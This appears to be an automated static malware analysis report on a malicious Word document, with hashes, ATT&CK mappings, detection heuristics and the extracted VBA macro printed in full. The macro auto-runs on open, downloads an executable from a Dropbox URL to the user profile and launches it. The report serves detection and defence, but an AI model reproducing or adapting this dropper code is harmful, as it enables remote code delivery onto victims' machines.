Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5be3ef3656727129…

MALICIOUS

Office (OLE)

29.5 KB Created: 2014-04-21 06:20:00 Authoring application: Microsoft Office Word First seen: 2015-09-20
MD5: 157581bb698cbe3d4812b5c8e8963180 SHA-1: 9f53174898ba64fdc3bf0f5baade7f06b094f38e SHA-256: 5be3ef36567271299d658529b889bdb8c83f07b6bc6ff4bd2a92ccfbce15c781
294 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros with an Auto_Open subroutine that calls a function to download a file from 'http://dl.dropboxusercontent.com/s/xd2d0f1o1ybufep/c0.exe' and save it as '%USERPROFILE%\HMKWHVQGSMX.exe'. The script then executes the downloaded file using the Shell function. The document body explicitly prompts the user to enable macros, indicating a social engineering lure.

Heuristics 12

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        IFRTCXIBSIX = Shell(LFHVQZJKNWZ, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set GVVBMNSYIHD = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        BVKLNSSZFTG "http://dl.dropboxusercontent.com/s/xd2d0f1o1ybufep/c0.exe", Environ("USERPROFILE") & "\HMKWHVQGSMX.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://dl.dropboxusercontent.com/s/xd2d0f1o1ybufep/c0.exeIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1318 bytes
SHA-256: 6a281bd54c8d95a8baf8326c618d9b30f6e9578e18611b81e89ff65744f015a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
XXRLYAKRINW
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Function BVKLNSSZFTG(ByVal UNOQYUZFSRS As String, ByVal LFHVQZJKNWZ As String) As Boolean
     Dim GVVBMNSYIHD As Object, APBOCAIUOBZ As Long, JKEESBSQVFK As Long, UGSVXHLNTIK() As Byte

    Set GVVBMNSYIHD = CreateObject("MSXML2.XMLHTTP")
    GVVBMNSYIHD.Open "GET", UNOQYUZFSRS, False
    GVVBMNSYIHD.Send "send request"

    Do While GVVBMNSYIHD.readyState <> 4
    DoEvents
    Loop

    UGSVXHLNTIK = GVVBMNSYIHD.responseBody

    JKEESBSQVFK = FreeFile
    If Dir(LFHVQZJKNWZ) <> "" Then Kill LFHVQZJKNWZ
    Open LFHVQZJKNWZ For Binary As #JKEESBSQVFK
    Put #JKEESBSQVFK, , UGSVXHLNTIK
    Close #JKEESBSQVFK
    
    Dim IFRTCXIBSIX
    IFRTCXIBSIX = Shell(LFHVQZJKNWZ, 1)

    Set GVVBMNSYIHD = Nothing
     
End Function
Sub XXRLYAKRINW()
    BVKLNSSZFTG "http://dl.dropboxusercontent.com/s/xd2d0f1o1ybufep/c0.exe", Environ("USERPROFILE") & "\HMKWHVQGSMX.exe"
End Sub

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